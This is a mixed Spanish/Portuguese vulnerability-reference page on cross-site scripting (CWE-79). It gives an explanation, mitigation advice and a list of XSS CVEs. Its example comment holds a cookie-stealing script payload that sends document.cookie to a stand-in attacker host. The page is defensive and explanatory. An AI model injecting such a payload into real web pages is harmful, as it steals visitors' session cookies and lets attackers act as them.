Fallos del tipo CWE-79

30.669 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2015-3976—GE Multilink Cross-site ScriptingEPSS 1.2%CVE-2021-24305—Target First Plugin 2.0 - Unauthenticated Stored XSS via Licence KeyEPSS 1.2%CVE-2021-24967—Contact Form & Lead Form Elementor Builder < 1.6.4 - Unauthenticated Stored Cross-Site ScriptingEPSS 1.2%CVE-2021-24294—DSGVO All in one for WP < 4.0 - Unauthenticated Stored Cross-Site Scripting (XSS)EPSS 1.2%CVE-2021-24797—Tickera < 3.4.8.3 - Unauthenticated Stored Cross-Site ScriptingEPSS 1.2%CVE-2021-24792—Shiny Buttons <= 1.1.0 - Unauthenticated Stored Cross-Site ScriptingEPSS 1.2%CVE-2021-24796—My Tickets < 1.8.31 - Unauthenticated Stored Cross-Site ScriptingEPSS 1.2%CVE-2022-3578MEDIUMProfileGrid < 5.1.1 - Reflected Cross-Site ScriptingEPSS 1.2%CVE-2022-23520MEDIUMrails-html-sanitizer contains an incomplete fix for an XSS vulnerabilityEPSS 1.2%CVE-2021-21080MEDIUMAdobe Connect Reflected Cross-site Scripting via query parameterEPSS 1.2%CVE-2026-93432MEDIUMIo.quarkus.qute:quarkus-core: cross-site scripting (xss) and json injection via qute {#eval} section in quarkusEPSS 1.2%CVE-2024-47605MEDIUMCross-site Scripting via insert media remote file oembed in silverstripe-asset-adminEPSS 1.2%CVE-2021-4231LOWAngular Comment cross site scriptingEPSS 1.2%CVE-2022-3608HIGHCross-site Scripting (XSS) - Stored in thorsten/phpmyfaqEPSS 1.2%CVE-2023-26776MEDIUMCross Site Scripting vulnerability found in Monitorr v.1.7.6 allows a remote attacker to execute arbitrary code via the title parameter of tEPSS 1.2%CVE-2020-4051LOWXSS in Dijit Editor's LinkDialog pluginEPSS 1.2%CVE-2023-33130HIGHMicrosoft SharePoint Server Spoofing VulnerabilityEPSS 1.2%CVE-2022-1567MEDIUMWP JS <= 2.0.6 - Reflected Cross-Site ScriptingEPSS 1.2%CVE-2017-2661—ClusterLabs pcs before version 0.9.157 is vulnerable to a cross-site scripting vulnerability due to improper validation of Node name field wEPSS 1.2%CVE-2026-75744HIGHAdobe Experience Manager Forms JEE | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 1.2%